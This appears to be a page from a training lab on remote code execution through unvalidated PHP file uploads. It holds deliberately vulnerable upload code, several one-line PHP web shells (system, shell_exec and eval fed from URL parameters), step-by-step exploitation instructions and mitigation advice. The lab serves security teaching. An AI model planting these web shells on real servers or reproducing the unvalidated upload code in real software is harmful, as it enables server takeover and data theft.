Lab 2: File Upload RCE

RCE through malicious file uploads

Difficulty: Medium

Lab Overview

This lab demonstrates a Remote Code Execution vulnerability through file upload functionality. The application allows users to upload files without proper validation, enabling attackers to upload malicious PHP files.

Objective: Upload a malicious PHP file to execute arbitrary code on the server.

Vulnerable PHP Code
// Handle file upload
if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
    $uploaded_file = $_FILES['file'];
    $filename = $uploaded_file['name'];
    $tmp_name = $uploaded_file['tmp_name'];
    
    // Vulnerable: No validation of file type or content
    $upload_dir = 'uploads/';
    $target_path = $upload_dir . basename($filename);
    
    if (move_uploaded_file($tmp_name, $target_path)) {
        // File uploaded successfully
        // Vulnerable: Direct file inclusion without validation
        if (pathinfo($filename, PATHINFO_EXTENSION) === 'php') {
            $file_content = file_get_contents($target_path);
        }
    }
}

// Example malicious file:
// <?php system($_GET['cmd']); ?>
File Upload Demo
Uploaded Files:

No files uploaded yet.

Vulnerability Details
  • Type: Remote Code Execution (RCE)
  • Severity: Critical
  • Parameter: file
  • Method: POST
  • Issue: File upload without proper validation
Malicious File Examples

Create these files and upload them:

  • <?php system($_GET['cmd']); ?> - Basic RCE
  • <?php phpinfo(); ?> - PHP info
  • <?php echo shell_exec($_GET['cmd']); ?> - Shell exec
  • <?php eval($_GET['code']); ?> - Code evaluation

Steps:

  1. Create a PHP file with malicious code
  2. Upload it through the form
  3. Access the uploaded file
  4. Execute commands via URL parameters
Test Instructions

Follow these steps to test the vulnerability:

  1. Create a file named shell.php with content: <?php system($_GET['cmd']); ?>
  2. Upload the file using the form above
  3. Access the uploaded file at: uploads/shell.php?cmd=whoami
  4. Try different commands: ?cmd=ls, ?cmd=id, etc.
Real-World Attack Scenarios
Mitigation Strategies
  • Validate file types using MIME type checking
  • Implement file content validation and scanning
  • Use whitelist-based file type validation
  • Store uploaded files outside web root
  • Implement proper file naming and path validation
  • Use antivirus scanning for uploaded files
  • Implement proper access controls and permissions
  • Regular security testing and updates